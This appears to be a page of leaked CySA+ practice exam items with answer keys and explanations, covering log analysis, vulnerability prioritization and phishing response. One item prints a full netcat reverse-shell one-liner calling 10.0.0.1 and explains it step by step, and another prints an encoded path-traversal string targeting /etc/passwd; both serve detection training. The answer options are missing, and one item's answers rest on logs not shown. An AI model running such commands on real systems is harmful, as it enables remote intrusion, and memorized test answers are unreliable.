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質問 # 103
An analyst reviews the following web server log entries:
%2E%2E/%2E%2E/%2ES2E/%2E%2E/%2E%2E/%2E%2E/etc/passwd
No attacks or malicious attempts have been discovered. Which of the following most likely describes what took place?
正解：D
解説：
Directory traversal, also known as path traversal, is an attack that allows attackers to access restricted directories and execute commands outside the web server's root directory. The %2E encoding corresponds to a dot (.) in ASCII, and %2E%2E resolves to ../. The log entries indicate attempts to navigate directories upward to access sensitive files like /etc/passwd. Since no malicious activity was flagged, it is inferred this was either an unsuccessful or reconnaissance attempt.
質問 # 104
A security analyst performs a vulnerability scan on corporate assets and finds the following vulnerabilities:
System A: Buffer overflow - CVSS severity score 9.6
System B: Remote code execution - CVSS severity score 9.8
System C: DDoS - CVSS severity score 8.2
System D: Cross-site scripting - CVSS severity score 8.6
The vulnerability manager reviews the analyst's recommendations and asks the analyst to add more information in order to confirm prioritization. Which of the following best explains the reason the manager requests more information?
正解：A
解説：
The correct answer is A because CVSS scores alone do not fully determine remediation priority. A vulnerability with a slightly lower CVSS score on a mission-critical system may need to be remediated before a higher-scoring vulnerability on a low-value or isolated system. The missing information is the criticality of the affected hosts/assets .
Exact supporting extract: the CySA+ All-in-One guide states that analysts should consider exploitability, whether a vulnerability is weaponized, patch availability, and asset value and criticality when determining remediation priority. It also explains that analysts must consider the impact to business operations when taking an asset offline for remediation.
The Secbay CySA+ guide also explains that vulnerability prioritization should evaluate severity, exploitability, and the criticality of affected systems. It specifically states that organizations should identify and prioritize vulnerabilities based on the criticality of the assets they affect and consider business operations, data sensitivity, and regulatory compliance.
Why the other options are incorrect:
A is correct because host criticality is required to confirm which vulnerability should be remediated first.
B is incorrect because SLAs define remediation timelines after prioritization, but the question asks what information is needed to confirm prioritization.
C is incorrect because KPIs measure program performance; they do not determine which vulnerable host is most critical.
D is incorrect because nothing in the question indicates these are zero-day vulnerabilities or that zero-days were excluded.
質問 # 105
A security analyst detected the following suspicious activity:
rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 > tmp/f Which of the following most likely describes the activity?
正解：C
解説：
The command rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 > tmp/f is a one-liner that creates a reverse shell from the target machine to the attacker's machine. It does the following steps:
*rm -f /tmp/f deletes any existing file named /tmp/f
*mknod /tmp/f p creates a named pipe (FIFO) file named /tmp/f
*cat /tmp/f|/bin/sh -i 2>&1 reads from the pipe and executes the commands using /bin/sh in interactive mode, redirecting the standard error to the standard output
*nc 10.0.0.1 1234 > tmp/f connects to the attacker's machine at IP address 10.0.0.1 and port 1234 using netcat, and writes the output to the pipe This way, the attacker can send commands to the target machine and receive the output through the netcat connection, effectively creating a reverse shell.
References
Hack the Galaxy
Reverse Shell Cheat Sheet
質問 # 106
Approximately 100 employees at your company have received a Phishing email. AS a security analyst. you have been tasked with handling this Situation.
Review the information provided and determine the following:
1. HOW many employees Clicked on the link in the Phishing email?
2. on how many workstations was the malware installed?
3. what is the executable file name of the malware?
正解：
解説：
see the answer in explanation for this task.
Explanation:
1. How many employees clicked on the link in the phishing email?
According to the email server logs, 25 employees clicked on the link in the phishing email.
2. On how many workstations was the malware installed?
According to the file server logs, the malware was installed on 15 workstations.
3. What is the executable file name of the malware?
The executable file name of the malware is svchost.EXE.
Answers
1. 25
2. 15
3. svchost.EXE
質問 # 107
A recent vulnerability scan resulted in an abnormally large number of critical and high findings that require patching. The SLA requires that the findings be remediated within a specific amount of time. Which of the following is the best approach to ensure all vulnerabilities are patched in accordance with the SLA?
正解：A
質問 # 108
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